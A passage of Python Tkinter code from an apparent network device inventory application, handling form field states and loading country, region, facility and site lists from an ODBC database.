self.ButtonDeviceCircuits['state'] = DISABLED\r\n        self.ButtonDevicePing64['state'] = DISABLED\r\n        self.ButtonDevicePing1500['state'] = DISABLED\r\n        #self.ButtonDeviceContacts['state'] = DISABLED\r\n        self.ButtonDeviceICMP['state'] = DISABLED\r\n        self.ButtonDeviceLocalPointOfContacts['state'] = DISABLED\r\n\r\n        # Create Progress Bar\r\n        self.progress['maximum'] = 100\r\n        self.progress['value'] = 0\r\n\r\n        # Setup Labels and Entry\r\n        if (option == 'add'): #<----------------------------------- ADD Button\r\n            self.ComboBoxCoutryID['state'] = DISABLED\r\n            self.ComboBoxRegionID['state'] = DISABLED\r\n            self.ComboBoxFacilityID['state'] = DISABLED\r\n            self.ComboBoxSitesID['state'] = DISABLED\r\n\r\n            self.Get_Type_Model_and_Satus()\r\n            self.DeviceIDFrameEntry['state'] = 'normal'\r\n            self.DeviceIDFrameEntry.delete(0,END)\r\n\r\n            self.DeviceDescriptionFrameEntry['state'] = 'normal'\r\n            self.DeviceDescriptionFrameEntry.delete(0,END)\r\n\r\n            # Calendars:\r\n            self.DeviceButtonInstalledDate['state'] = ACTIVE\r\n            self.DeviceButtonActivatedDate['state'] = ACTIVE\r\n            self.DeviceButtonDisconnectedDate['state'] = ACTIVE\r\n            self.DeviceButtonExpirationDate['state'] = ACTIVE\r\n\r\n            self.DeviceComboBoxTypeID['state'] = DISABLED\r\n            self.DeviceComboBoxModelID['state'] = DISABLED\r\n            self.DeviceComboBoxStatus['state'] = DISABLED\r\n\r\n            self.DeviceInstalledDateFrameEntry['state'] = 'normal'\r\n            self.DeviceInstalledDateFrameEntry.delete(0,END)\r\n            self.DeviceInstalledDateFrameEntry['state'] = 'readonly'\r\n            \r\n            self.DeviceActivatedDateFrameEntry['state'] = 'normal'\r\n            self.DeviceActivatedDateFrameEntry.delete(0,END)\r\n            self.DeviceActivatedDateFrameEntry['state'] = 'readonly'\r\n            \r\n            self.DeviceDisconnectedDateFrameEntry['state'] = 'normal'\r\n            self.DeviceDisconnectedDateFrameEntry.delete(0,END)\r\n            self.DeviceDisconnectedDateFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceExpirationDateFrameEntry['state'] = 'normal'\r\n            self.DeviceExpirationDateFrameEntry.delete(0,END)\r\n            self.DeviceExpirationDateFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceComboBoxTypeID['state'] = 'readonly'\r\n            self.DeviceComboBoxModelID['state'] = 'disabled'\r\n            self.DeviceComboBoxStatus['state'] = 'readonly'\r\n\r\n            self.DeviceIPAddressFrameEntry['state'] = 'normal'\r\n            self.DeviceIPAddressFrameEntry.delete(0,END)\r\n            self.DeviceIPAddressFrameEntry.insert(0,'0.0.0.0')\r\n\r\n            self.DeviceInstalledDateFrameEntry['state'] = 'readonly'\r\n            self.DeviceInstalledDateFrameEntry.delete(0,END)\r\n\r\n            self.DeviceContractNoFrameEntry['state'] = 'normal'\r\n            self.DeviceContractNoFrameEntry.delete(0,END)\r\n\r\n            self.DeviceExpirationDateFrameEntry['state'] = 'readonly'\r\n            self.DeviceExpirationDateFrameEntry.delete(0,END)\r\n\r\n            self.DeviceActivatedDateFrameEntry['state'] = 'readonly'\r\n            self.DeviceActivatedDateFrameEntry.delete(0,END)\r\n\r\n            self.DeviceSerialNoFrameEntry['state'] = 'normal'\r\n            self.DeviceSerialNoFrameEntry.delete(0,END)\r\n\r\n            self.DeviceMACAddressFrameEntry['state'] = 'normal'\r\n            self.DeviceMACAddressFrameEntry.delete(0,END)\r\n\r\n            self.DeviceDisconnectedDateFrameEntry['state'] = 'readonly'\r\n            self.DeviceDisconnectedDateFrameEntry.delete(0,END)\r\n\r\n            self.DeviceOutSourceCostFrameEntry['state'] = 'normal'\r\n            self.DeviceOutSourceCostFrameEntry.delete(0,END)\r\n\r\n            self.DeviceMaintenanceCostFrameEntry['state'] = 'normal'\r\n            self.DeviceMaintenanceCostFrameEntry.delete(0,END)\r\n\r\n            self.DeviceNotesFrameEntry['state'] = 'normal'\r\n            self.DeviceNotesFrameEntry.delete(0,END)\r\n\r\n            ##############################\r\n            \r\n            self.DeviceNATIPAddressFrameEntry['state'] = 'normal'\r\n            self.DeviceNATIPAddressFrameEntry.delete(0,END)\r\n            self.DeviceNATIPAddressFrameEntry.insert(0,'0.0.0.0')\r\n            \r\n            self.DeviceMgmtIPAddressFrameEntry['state'] = 'normal'\r\n            self.DeviceMgmtIPAddressFrameEntry.delete(0,END)\r\n            self.DeviceMgmtIPAddressFrameEntry.insert(0,'0.0.0.0')\r\n                  \r\n            self.DeviceComboBoxICMPCapable.current(1)\r\n            self.DeviceComboBoxICMPCapable['state'] = ACTIVE\r\n\r\n            self.DeviceComboBoxICMPMonitor.current(0)\r\n            self.DeviceComboBoxICMPMonitor['state'] = ACTIVE\r\n\r\n            self.DeviceLastICMPDateFrameEntry['state'] = 'normal'\r\n            self.DeviceLastICMPDateFrameEntry.delete(0,END)\r\n            self.DeviceLastICMPDateFrameEntry.insert(0,'Never')\r\n            self.DeviceLastICMPDateFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceLastICMPStatusFrameEntry['state'] = 'normal'\r\n            self.DeviceLastICMPStatusFrameEntry.delete(0,END)\r\n            self.DeviceLastICMPStatusFrameEntry.insert(0,'Never')\r\n            self.DeviceLastICMPStatusFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceLastCMDBStatusFrameEntry['state'] = 'normal'\r\n            self.DeviceLastCMDBStatusFrameEntry.delete(0,END)\r\n            self.DeviceLastCMDBStatusFrameEntry.insert(0,'Never')\r\n            self.DeviceLastCMDBStatusFrameEntry['state'] = 'readonly'\r\n            \r\n            ##############################\r\n\r\n\r\n        if (option == 'edit'): #<----------------------------------- EDIT Button\r\n            self.ComboBoxCoutryID['state'] = ACTIVE\r\n            self.ComboBoxRegionID['state'] = ACTIVE\r\n            self.ComboBoxFacilityID['state'] = ACTIVE\r\n            self.ComboBoxSitesID['state'] = ACTIVE\r\n\r\n            #self.Get_Type_Model_and_Satus() # <------------------ I might have to modified it\r\n            self.DeviceIDFrameEntry['state'] = 'readonly'\r\n            self.DeviceDescriptionFrameEntry['state'] = 'normal'\r\n            # Calendars:\r\n            self.DeviceButtonInstalledDate['state'] = ACTIVE\r\n            self.DeviceButtonActivatedDate['state'] = ACTIVE\r\n            self.DeviceButtonDisconnectedDate['state'] = ACTIVE\r\n            self.DeviceButtonExpirationDate['state'] = ACTIVE\r\n\r\n            self.DeviceInstalledDateFrameEntry['state'] = 'readonly'            \r\n            self.DeviceActivatedDateFrameEntry['state'] = 'readonly'\r\n            self.DeviceDisconnectedDateFrameEntry['state'] = 'readonly'\r\n            self.DeviceExpirationDateFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceComboBoxTypeID['state'] = 'readonly'\r\n            self.DeviceComboBoxModelID['state'] = 'disabled'\r\n            self.DeviceComboBoxStatus['state'] = 'readonly'\r\n\r\n            self.DeviceIPAddressFrameEntry['state'] = 'normal'\r\n            self.DeviceInstalledDateFrameEntry['state'] = 'readonly'\r\n            self.DeviceContractNoFrameEntry['state'] = 'normal'\r\n            self.DeviceExpirationDateFrameEntry['state'] = 'readonly'\r\n            self.DeviceActivatedDateFrameEntry['state'] = 'readonly'\r\n            self.DeviceSerialNoFrameEntry['state'] = 'normal'\r\n            self.DeviceMACAddressFrameEntry['state'] = 'normal'\r\n            self.DeviceDisconnectedDateFrameEntry['state'] = 'readonly'\r\n            self.DeviceOutSourceCostFrameEntry['state'] = 'normal'\r\n            self.DeviceMaintenanceCostFrameEntry['state'] = 'normal'\r\n            self.DeviceNotesFrameEntry['state'] = 'normal'\r\n\r\n\r\n            ##############################\r\n\r\n            self.DeviceNATIPAddressFrameEntry['state'] = 'normal'            \r\n            self.DeviceMgmtIPAddressFrameEntry['state'] = 'normal'\r\n            self.DeviceComboBoxICMPCapable['state'] = ACTIVE\r\n            self.DeviceComboBoxICMPMonitor['state'] = ACTIVE\r\n            self.DeviceLastICMPDateFrameEntry['state'] = 'readonly'\r\n            self.DeviceLastICMPStatusFrameEntry['state'] = 'readonly'\r\n            self.DeviceLastCMDBStatusFrameEntry['state'] = 'readonly'\r\n            \r\n            ##############################\r\n                \r\n       \r\n    def Disable_Screen(self):\r\n        # This function is used when the entry was added.modified to the Database\r\n\r\n        #self.DeviceBusinessUnitPowerCheckbutton.select()\r\n        #print (self.varpower.get())\r\n\r\n        self.ComboBoxCoutryID['state'] = 'readonly'\r\n        self.ComboBoxRegionID['state'] = 'readonly'\r\n        self.ComboBoxFacilityID['state'] = 'readonly'\r\n        self.ComboBoxSitesID['state'] = 'readonly'\r\n        if (Is_Country_Available):\r\n            self.ButtonCountryAdd['state'] = ACTIVE\r\n            self.ButtonCountryRefresh['state'] = ACTIVE\r\n        if (Is_Region_Available):\r\n            self.ButtonRegionAdd['state'] = ACTIVE\r\n            self.ButtonRegionRefresh['state'] = ACTIVE\r\n        if (Is_Facility_Available):\r\n            self.ButtonFacilityAdd['state'] = ACTIVE\r\n            self.ButtonFacilityRefresh['state'] = ACTIVE\r\n        if (Is_Sites_Available):\r\n            self.ButtonSitesAdd['state'] = ACTIVE\r\n            self.ButtonSitesRefresh['state'] = ACTIVE\r\n            \r\n        self.ButtonDeviceAdd['state'] = ACTIVE\r\n        self.ButtonDeviceEdit['state'] = DISABLED\r\n        self.ButtonDeviceRemove['state'] = DISABLED\r\n        self.ButtonDeviceOK['state'] = DISABLED\r\n        self.ButtonDeviceCancel['state'] = DISABLED # ACTIVE\r\n        self.ButtonDeviceCircuits['state'] = DISABLED\r\n        self.ButtonDevicePing64['state'] = DISABLED\r\n        self.ButtonDevicePing1500['state'] = DISABLED\r\n        #self.ButtonDeviceContacts['state'] = DISABLED\r\n        self.ButtonDeviceICMP['state'] = DISABLED\r\n        self.ButtonDeviceLocalPointOfContacts['state'] = DISABLED\r\n\r\n        # Create Progress Bar\r\n        self.progress['maximum'] = 100\r\n        self.progress['value'] = 0\r\n\r\n        # Setup Labels and Entry\r\n        self.DeviceIDFrameEntry['state'] = 'readonly'                \r\n        self.DeviceDescriptionFrameEntry['state'] = 'readonly'\r\n        self.DeviceComboBoxTypeID['state'] = 'readonly'\r\n        self.DeviceComboBoxModelID['state'] = 'readonly'\r\n        self.DeviceComboBoxStatus['state'] = 'readonly'\r\n        self.DeviceIPAddressFrameEntry['state'] = 'readonly'\r\n        self.DeviceInstalledDateFrameEntry['state'] = 'readonly'\r\n        self.DeviceContractNoFrameEntry['state'] = 'readonly'\r\n        self.DeviceExpirationDateFrameEntry['state'] = 'readonly'\r\n        self.DeviceActivatedDateFrameEntry['state'] = 'readonly'\r\n        self.DeviceSerialNoFrameEntry['state'] = 'readonly'\r\n        self.DeviceMACAddressFrameEntry['state'] = 'readonly'\r\n        self.DeviceDisconnectedDateFrameEntry['state'] = 'readonly'\r\n        self.DeviceOutSourceCostFrameEntry['state'] = 'readonly'\r\n        self.DeviceMaintenanceCostFrameEntry['state'] = 'readonly'\r\n        self.DeviceNotesFrameEntry['state'] = 'readonly'\r\n        # Calendars:\r\n        self.DeviceButtonInstalledDate['state'] = DISABLED\r\n        self.DeviceButtonActivatedDate['state'] = DISABLED\r\n        self.DeviceButtonDisconnectedDate['state'] = DISABLED\r\n        self.DeviceButtonExpirationDate['state'] = DISABLED\r\n\r\n        self.DeviceComboBoxTypeID['state'] = DISABLED\r\n        self.DeviceComboBoxModelID['state'] = DISABLED\r\n        self.DeviceComboBoxStatus['state'] = DISABLED\r\n\r\n        ##############################\r\n\r\n        self.DeviceNATIPAddressFrameEntry['state'] = 'readonly'            \r\n        self.DeviceMgmtIPAddressFrameEntry['state'] = 'readonly'\r\n        self.DeviceComboBoxICMPCapable['state'] = DISABLED\r\n        self.DeviceComboBoxICMPMonitor['state'] = DISABLED\r\n        self.DeviceLastICMPDateFrameEntry['state'] = 'readonly'\r\n        self.DeviceLastICMPStatusFrameEntry['state'] = 'readonly'\r\n        self.DeviceLastCMDBStatusFrameEntry['state'] = 'readonly'\r\n            \r\n        ##############################\r\n\r\n        \r\n\r\n    def Collect_Screen(self):\r\n        # This function is used when the ADD button is selected\r\n\r\n        self.CountryID = self.CountryIDArray[self.ComboBoxCoutryID.current()]\r\n        self.RegionID = self.RegionIDArray[self.ComboBoxRegionID.current()]\r\n        self.FacilityID = self.FacilityIDArray[self.ComboBoxFacilityID.current()]\r\n        self.SitesID = self.SitesIDArray[self.ComboBoxSitesID.current()]\r\n        \r\n        self.DeviceID = self.DeviceIDFrameEntry.get()\r\n        self.DeviceDescription = self.DeviceDescriptionFrameEntry.get()  \r\n\r\n        # Calendars:\r\n        self.DeviceButtonInstalledDate['state'] = ACTIVE\r\n        self.DeviceButtonActivatedDate['state'] = ACTIVE\r\n        self.DeviceButtonDisconnectedDate['state'] = ACTIVE\r\n        self.DeviceButtonExpirationDate['state'] = ACTIVE\r\n\r\n        self.DeviceInstalledDate = self.DeviceInstalledDateFrameEntry.get()        \r\n        if (len(self.DeviceInstalledDate) > 0):\r\n            self.DeviceInstalledDate = str(self.DeviceInstalledData['month_selected']) + '/' + str(self.DeviceInstalledData['day_selected']) + '/' + str(self.DeviceInstalledData['year_selected'])\r\n            self.DeviceInstalledMonth = self.DeviceInstalledData['month_selected']\r\n            self.DeviceInstalledDay = self.DeviceInstalledData['day_selected']\r\n            self.DeviceInstalledYear = self.DeviceInstalledData['year_selected']\r\n        else:\r\n            self.DeviceInstalledDate = \"\"\r\n            self.DeviceInstalledMonth = \"0\"\r\n            self.DeviceInstalledDay = \"0\"\r\n            self.DeviceInstalledYear = \"0\"\r\n\r\n        self.DeviceActivatedDate = self.DeviceActivatedDateFrameEntry.get()        \r\n        if (len(self.DeviceActivatedDate) > 0):\r\n            self.DeviceActivatedDate = str(self.DeviceActivatedData['month_selected']) + '/' + str(self.DeviceActivatedData['day_selected']) + '/' + str(self.DeviceActivatedData['year_selected'])\r\n            self.DeviceActivatedMonth = self.DeviceActivatedData['month_selected']\r\n            self.DeviceActivatedDay = self.DeviceActivatedData['day_selected']\r\n            self.DeviceActivatedYear = self.DeviceActivatedData['year_selected']\r\n        else:\r\n            self.DeviceActivatedDate = \"\"\r\n            self.DeviceActivatedMonth = \"0\"\r\n            self.DeviceActivatedDay = \"0\"\r\n            self.DeviceActivatedYear = \"0\"\r\n\r\n        self.DeviceDisconnectedDate = self.DeviceDisconnectedDateFrameEntry.get()        \r\n        if (len(self.DeviceDisconnectedDate) > 0):\r\n            self.DeviceDisconnectedDate = str(self.DeviceDisconnectedData['month_selected']) + '/' + str(self.DeviceDisconnectedData['day_selected']) + '/' + str(self.DeviceDisconnectedData['year_selected'])\r\n            self.DeviceDisconnectedMonth = self.DeviceDisconnectedData['month_selected']\r\n            self.DeviceDisconnectedDay = self.DeviceDisconnectedData['day_selected']\r\n            self.DeviceDisconnectedYear = self.DeviceDisconnectedData['year_selected']\r\n        else:\r\n            self.DeviceDisconnectedDate = \"\"\r\n            self.DeviceDisconnectedMonth = \"0\"\r\n            self.DeviceDisconnectedDay = \"0\"\r\n            self.DeviceDisconnectedYear = \"0\"\r\n\r\n        self.DeviceExpirationDate = self.DeviceExpirationDateFrameEntry.get()        \r\n        if (len(self.DeviceExpirationDate) > 0):\r\n            self.DeviceExpirationDate = str(self.DeviceExpirationData['month_selected']) + '/' + str(self.DeviceExpirationData['day_selected']) + '/' + str(self.DeviceExpirationData['year_selected'])\r\n            self.DeviceExpirationMonth = self.DeviceExpirationData['month_selected']\r\n            self.DeviceExpirationDay = self.DeviceExpirationData['day_selected']\r\n            self.DeviceExpirationYear = self.DeviceExpirationData['year_selected']\r\n        else:\r\n            self.DeviceExpirationDate = \"\"\r\n            self.DeviceExpirationMonth = \"0\"\r\n            self.DeviceExpirationDay = \"0\"\r\n            self.DeviceExpirationYear = \"0\"\r\n            \r\n        self.DeviceTypeID = self.DeviceTypeIDArray[self.DeviceComboBoxTypeID.current()] \r\n        self.DeviceModelID = self.DeviceModelIDArray[self.DeviceComboBoxModelID.current()]\r\n        self.DeviceStatus = self.DeviceStatusValues[self.DeviceComboBoxStatus.current()]\r\n        self.DeviceIPAddress = self.DeviceIPAddressFrameEntry.get()            \r\n        self.DeviceContract = self.DeviceContractNoFrameEntry.get()\r\n        self.DeviceSerialNo = self.DeviceSerialNoFrameEntry.get()\r\n        self.DeviceMACAddress = self.DeviceMACAddressFrameEntry.get()\r\n        if (len(self.DeviceOutSourceCostFrameEntry.get()) > 0):\r\n            self.DeviceOutSourceCost = float(self.DeviceOutSourceCostFrameEntry.get())\r\n        else:\r\n            self.DeviceOutSourceCost = 0\r\n        if (len(self.DeviceMaintenanceCostFrameEntry.get()) > 0):    \r\n            self.DeviceMaintenanceCost = float(self.DeviceMaintenanceCostFrameEntry.get())\r\n        else:\r\n            self.DeviceMaintenanceCost = 0\r\n        self.DeviceNotes = self.DeviceNotesFrameEntry.get()\r\n\r\n\r\n        self.DeviceTableNATIP4Address = self.DeviceNATIPAddressFrameEntry.get()           \r\n        self.DeviceTableManagementIP4Address = self.DeviceMgmtIPAddressFrameEntry.get()\r\n        self.DeviceTableICMPCapable = self.DeviceICMPValues[self.DeviceComboBoxICMPCapable.current()]\r\n        self.DeviceTableMonitorviaICMP = self.DeviceICMPValues[self.DeviceComboBoxICMPMonitor.current()]\r\n        self.DeviceTableLastSuccessICMP = self.DeviceLastICMPDateFrameEntry.get()\r\n        self.DeviceTableLastICMPStatus = self.DeviceLastICMPStatusFrameEntry.get()\r\n        self.DeviceTableLastUpdatedCMDBDate = self.DeviceLastCMDBStatusFrameEntry.get()        \r\n        # self.DeviceTableLastUpdatedCMDBDay\r\n        # self.DeviceTableLastUpdatedCMDBMonth\r\n        # self.DeviceTableLastUpdatedCMDBYear\r\n\r\n\r\n#****************************************************************************************\r\n#---------------------------- SCREEN SELECTION SECTION <END> ------------------------*\r\n#****************************************************************************************\r\n\r\n\r\n#****************************************************************************************\r\n#---------------------------- COUNTRY SELECTION SECTION <BEGIN> ------------------------*\r\n#****************************************************************************************\r\n\r\n    def Display_Country_Window(self):    \r\n        if Is_logging_Available:\r\n            Parameter = []\r\n            Parameter = ['Device','Country Window']    \r\n            Logging.Log(Parameter)\r\n\r\n        Country.Display_Country_Window()\r\n\r\n    def on_country_combo_changed(self,event):\r\n        #print (event)\r\n        self.Clean_Screen('country','country-combo')\r\n        if self.db.Connect():\r\n            # SQL Querry to the Device Table\r\n            sql = \"\"\"\r\n                    SELECT * FROM Region\r\n                       WHERE Country_ID = '%s'\r\n                  \"\"\" % (self.CountryIDArray[self.ComboBoxCoutryID.current()])\r\n            #print (sql)\r\n            if (Is_Region_Available):\r\n                self.ButtonRegionAdd['state'] = ACTIVE\r\n                self.ButtonRegionRefresh['state'] = ACTIVE\r\n            if (self.db.Execute(sql)):\r\n                #print (\"found it\")\r\n                i = 0\r\n                self.progress['maximum'] = len(self.db.results)\r\n                self.RegionIDArray = []\r\n                self.RegionNameArray = []\r\n                while (i < len(self.db.results)):\r\n                    num = i + 1\r\n                    self.RegionIDArray.append(self.db.results[i][2].strip())\r\n                    self.RegionNameArray.append(self.db.results[i][3].strip())\r\n                    i = i + 1\r\n                    self.progress['value'] = i\r\n                self.ComboBoxRegionID['values'] = self.RegionNameArray\r\n                if (len(self.RegionNameArray)== 0):\r\n                    self.ComboBoxRegionID['state'] = DISABLED\r\n                    self.ComboBoxFacilityID['state'] = DISABLED\r\n                else:\r\n                    self.ComboBoxRegionID['state'] = 'readonly'\r\n                    self.ComboBoxRegionID.set(\"\")\r\n                    self.ComboBoxFacilityID.set(\"\")\r\n            else:\r\n                mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                message = 'No Records found')\r\n        else:\r\n            mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                             message = '*** ERROR *** - THE ODBC Connection was NOT Succesful, \\r\\n'\r\n                                       + 'Please make sure the ODBC DSN Name mathes: ['\r\n                                       + self.ODBC_name + \"]\")\r\n\r\n            \r\n    def on_Country_Table_Refresh(self):\r\n        if Is_logging_Available:\r\n            Parameter = []\r\n            Parameter = ['Device','Country Refresh']    \r\n            Logging.Log(Parameter)\r\n\r\n        if self.db.Connect():            \r\n            self.CountryIDArray = []\r\n            self.CountryNameArray = []               \r\n\r\n            # SQL Querry to the Device Table\r\n            self.progress['maximum'] = 100\r\n            self.progress['value'] = 0\r\n            if (self.Selection == 'cancel_edit'):\r\n                sql = \"\"\"\r\n                        SELECT * FROM Country\r\n                        WHERE Country_ID = '%s'\r\n                      \"\"\" % (self.CountryID_Pre)\r\n            else:\r\n                sql = \"\"\" SELECT * FROM COUNTRY ORDER BY Country_Name ASC \"\"\"\r\n            if (self.db.Execute(sql)):\r\n                self.sql_querry = True\r\n                i = 0\r\n                self.progress['maximum'] = len(self.db.results)\r\n                while (i < len(self.db.results)):\r\n                    num = i + 1\r\n                    self.CountryIDArray.append(self.db.results[i][0].strip())\r\n                    self.CountryNameArray.append(self.db.results[i][1].strip())\r\n                    i = i + 1\r\n                    self.progress['value'] = i\r\n                self.ComboBoxCoutryID['values'] = self.CountryNameArray\r\n                if (len(self.CountryNameArray)== 0):\r\n                    self.ComboBoxCoutryID['state'] = DISABLED\r\n                else:\r\n                    #self.ComboBoxCoutryID['state'] = 'readonly'\r\n                    #self.ComboBoxCoutryID.set(\"\")\r\n                    self.Clean_Screen('country','all')\r\n            else:\r\n                mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                message = 'No Country Records found')\r\n                self.sql_querry = False\r\n            ##self.db.Disconnect()\r\n        else:\r\n            mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                             message = '*** ERROR *** - THE ODBC Connection was NOT Succesful, \\r\\n'\r\n                                       + 'Please make sure the ODBC DSN Name mathes: ['\r\n                                       + self.ODBC_name + \"]\")\r\n        \r\n\r\n#**************************************************************************************\r\n#---------------------------- COUNTRY SELECTION SECTION <END> ------------------------*\r\n#**************************************************************************************\r\n\r\n#***************************************************************************************\r\n#---------------------------- REGION SELECTION SECTION <BEGIN> ------------------------*\r\n#***************************************************************************************\r\n        \r\n    def Display_Region_Window(self):    \r\n        if Is_logging_Available:\r\n            Parameter = []\r\n            Parameter = ['Device','Region Window']    \r\n            Logging.Log(Parameter)\r\n\r\n        Region.Display_Region_Window()\r\n\r\n    def on_region_combo_changed(self,event):\r\n        self.Clean_Screen('region','region-combo')\r\n        if self.db.Connect():\r\n            # SQL Querry to the Device Table\r\n            sql = \"\"\"\r\n                    SELECT * FROM Facility\r\n                    WHERE Country_ID = '%s' AND Region_ID = '%s'\r\n                    ORDER BY Facility_Name ASC\r\n                  \"\"\" % (self.CountryIDArray[self.ComboBoxCoutryID.current()],self.RegionIDArray[self.ComboBoxRegionID.current()])\r\n            '''\r\n            if (self.Selection == 'cancel_edit'):\r\n                sql = \"\"\"\r\n                        SELECT * FROM Region\r\n                        WHERE Country_ID = '%s' AND Region_ID = '%s'\r\n                        ORDER BY Facility_Name ASC\r\n                      \"\"\" % (self.CountryID_Pre,self.RegionID_Pre)\r\n            else:\r\n                sql = \"\"\"\r\n                        SELECT * FROM Region\r\n                        WHERE Country_ID = '%s'\r\n                        ORDER BY Facility_Name ASC\r\n                      \"\"\" % (self.CountryIDArray[self.ComboBoxCoutryID.current()])\r\n            '''\r\n            #print (sql)\r\n            if (Is_Facility_Available):\r\n                self.ButtonFacilityAdd['state'] = ACTIVE\r\n                self.ButtonFacilityRefresh['state'] = ACTIVE\r\n            if (self.db.Execute(sql)):\r\n                #print (\"found it\")\r\n                self.sql_querry = True\r\n                i = 0\r\n                self.progress['maximum'] = len(self.db.results)\r\n                self.FacilityIDArray = []\r\n                self.FacilityNameArray = []\r\n                while (i < len(self.db.results)):\r\n                    num = i + 1\r\n                    self.FacilityIDArray.append(self.db.results[i][3].strip())\r\n                    self.FacilityNameArray.append(self.db.results[i][4].strip())\r\n                    i = i + 1\r\n                    self.progress['value'] = i\r\n                self.ComboBoxFacilityID['values'] = self.FacilityNameArray\r\n                if (len(self.FacilityNameArray)== 0):\r\n                    self.ComboBoxFacilityID['state'] = DISABLED\r\n                else:\r\n                    self.ComboBoxFacilityID['state'] = 'readonly'\r\n                    self.ComboBoxFacilityID.set(\"\")\r\n            else:\r\n                mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                message = 'No Records found')\r\n                self.sql_querry = False\r\n        else:\r\n            mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                             message = '*** ERROR *** - THE ODBC Connection was NOT Succesful, \\r\\n'\r\n                                       + 'Please make sure the ODBC DSN Name mathes: ['\r\n                                       + self.ODBC_name + \"]\")\r\n\r\n    def on_Region_Table_Refresh(self):\r\n        if Is_logging_Available:\r\n            Parameter = []\r\n            Parameter = ['Device','Region Refresh']    \r\n            Logging.Log(Parameter)\r\n\r\n        self.Clean_Screen('region','all')\r\n        if self.db.Connect():\r\n            # SQL Querry to the Device Table\r\n            if (self.Selection == 'cancel_edit'):\r\n                sql = \"\"\"\r\n                        SELECT * FROM Region\r\n                        WHERE Country_ID = '%s' AND Region_ID = '%s'\r\n                        ORDER BY Region_Name ASC\r\n                      \"\"\" % (self.CountryID_Pre,self.RegionID_Pre)\r\n            else:\r\n                sql = \"\"\"\r\n                        SELECT * FROM Region\r\n                        WHERE Country_ID = '%s'\r\n                        ORDER BY Region_Name ASC\r\n                      \"\"\" % (self.CountryIDArray[self.ComboBoxCoutryID.current()])\r\n            #print (sql)\r\n            if (self.db.Execute(sql)):\r\n                #print (\"found it\")\r\n                self.sql_querry = True\r\n                i = 0\r\n                self.progress['maximum'] = len(self.db.results)\r\n                self.RegionIDArray = []\r\n                self.RegionNameArray = []\r\n                while (i < len(self.db.results)):\r\n                    num = i + 1\r\n                    self.RegionIDArray.append(self.db.results[i][2].strip())\r\n                    self.RegionNameArray.append(self.db.results[i][3].strip())\r\n                    i = i + 1\r\n                    self.progress['value'] = i\r\n                self.ComboBoxRegionID['values'] = self.RegionNameArray\r\n                if (len(self.RegionNameArray)== 0):\r\n                    self.ComboBoxRegionID['state'] = DISABLED\r\n                    self.ComboBoxFacilityID['state'] = DISABLED\r\n                else:\r\n                    self.ComboBoxRegionID['state'] = 'readonly'\r\n                    self.ComboBoxRegionID.set(\"\")\r\n                    if (Is_Region_Available):\r\n                        self.ButtonRegionAdd['state'] = 'active'\r\n                        self.ButtonRegionRefresh['state'] = 'active'                        \r\n            else:\r\n                mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                message = 'No Records found')\r\n                self.sql_querry = False\r\n        else:\r\n            mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                             message = '*** ERROR *** - THE ODBC Connection was NOT Succesful, \\r\\n'\r\n                                       + 'Please make sure the ODBC DSN Name mathes: ['\r\n                                       + self.ODBC_name + \"]\")\r\n    \r\n#*************************************************************************************\r\n#---------------------------- REGION SELECTION SECTION <END> ------------------------*\r\n#*************************************************************************************\r\n\r\n\r\n#***************************************************************************************\r\n#---------------------------- FACILITY SELECTION SECTION <BEGIN> ----------------------*\r\n#***************************************************************************************\r\n        \r\n    def Display_Facility_Window(self):\r\n        if Is_logging_Available:\r\n            Parameter = []\r\n            Parameter = ['Device','Facility Windows']    \r\n            Logging.Log(Parameter)\r\n\r\n        Facility.Display_Facility_Window()\r\n\r\n    def on_facility_combo_changed(self,event):\r\n        self.Clean_Screen('facility','facility-combo')\r\n        if self.db.Connect():\r\n            # SQL Querry to the Device Table\r\n            sql = \"\"\"\r\n                    SELECT * FROM Sites\r\n                    WHERE Country_ID = '%s' AND Region_ID = '%s' AND Facility_ID = '%s'\r\n                  \"\"\" % (self.CountryIDArray[self.ComboBoxCoutryID.current()],self.RegionIDArray[self.ComboBoxRegionID.current()],\r\n                             self.FacilityIDArray[self.ComboBoxFacilityID.current()])\r\n            #print (sql)\r\n            if (Is_Sites_Available):\r\n                self.ButtonSitesAdd['state'] = ACTIVE\r\n                self.ButtonSitesRefresh['state'] = ACTIVE\r\n            if (self.db.Execute(sql)):\r\n                self.SitesIDArray =  []\r\n                self.SitesNameArray =  []\r\n                i = 0\r\n                while (i < len(self.db.results)):\r\n                    num = i + 1\r\n                    self.SitesIDArray.append(self.db.results[i][4].strip())\r\n                    self.SitesNameArray.append(self.db.results[i][5].strip())\r\n                    i = i + 1\r\n                    self.progress['value'] = i\r\n                self.ComboBoxSitesID['values'] = self.SitesNameArray\r\n                if (len(self.SitesNameArray)== 0):\r\n                    self.ComboBoxSitesID['state'] = DISABLED\r\n                else:\r\n                    self.ComboBoxSitesID['state'] = 'readonly'\r\n                    self.ComboBoxSitesID.set(\"\")\r\n            else:\r\n                mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                message = 'No Records found')\r\n        else:\r\n            mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                             message = '*** ERROR *** - THE ODBC Connection was NOT Succesful, \\r\\n'\r\n                                       + 'Please make sure the ODBC DSN Name mathes: ['\r\n                                       + self.ODBC_name + \"]\")\r\n\r\n    def on_Facility_Table_Refresh(self):\r\n        if Is_logging_Available:\r\n            Parameter = []\r\n            Parameter = ['Device','Facility Refresh']    \r\n            Logging.Log(Parameter)\r\n\r\n        self.Clean_Screen('facility','all')\r\n        if self.db.Connect():\r\n            # SQL Querry to the Device Table\r\n            if (self.Selection == 'cancel_edit'):\r\n                sql = \"\"\"\r\n                        SELECT * FROM Facility\r\n                        WHERE Country_ID = '%s' AND Region_ID = '%s' AND Facility_ID = '%s'\r\n                        ORDER BY Facility_Name ASC\r\n                      \"\"\" % (self.CountryID_Pre,self.RegionID_Pre,self.FacilityID_Pre)\r\n            else:\r\n                sql = \"\"\"\r\n                        SELECT * FROM Facility\r\n                        WHERE Country_ID = '%s' AND 